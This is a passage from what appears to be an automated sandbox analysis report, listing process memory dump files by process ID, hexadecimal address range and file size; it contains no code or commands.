                                                                                                                      5.6MB

                                                                                                                    • memory/1904-4-0x0000000005B10000-0x0000000005B76000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      408KB

                                                                                                                    • memory/1904-15-0x0000000005C00000-0x0000000005F54000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      3.3MB

                                                                                                                    • memory/1904-20-0x0000000006740000-0x0000000006762000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      136KB

                                                                                                                    • memory/1904-16-0x0000000006200000-0x000000000621E000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      120KB

                                                                                                                    • memory/1904-18-0x00000000071F0000-0x0000000007286000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      600KB

                                                                                                                    • memory/2776-51-0x0000000005A80000-0x0000000005DD4000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      3.3MB

                                                                                                                    • memory/3312-56-0x000001DDF6CB0000-0x000001DDF6CD2000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      136KB

                                                                                                                    • memory/4868-29-0x00000000055B0000-0x0000000005904000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      3.3MB

                                                                                                                    • memory/4868-40-0x0000000006180000-0x00000000061CC000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      304KB

                                                                                                                    • memory/5116-0-0x0000000000810000-0x0000000000EC6000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      6.7MB

                                                                                                                    • memory/5116-122-0x0000000004A00000-0x0000000004A64000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      400KB

                                                                                                                    • memory/5116-78-0x00000000041A0000-0x0000000004225000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      532KB

                                                                                                                    • memory/5116-69-0x0000000000810000-0x0000000000EC6000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      6.7MB

                                                                                                                    • memory/5116-24-0x0000000010000000-0x0000000011A13000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      26.1MB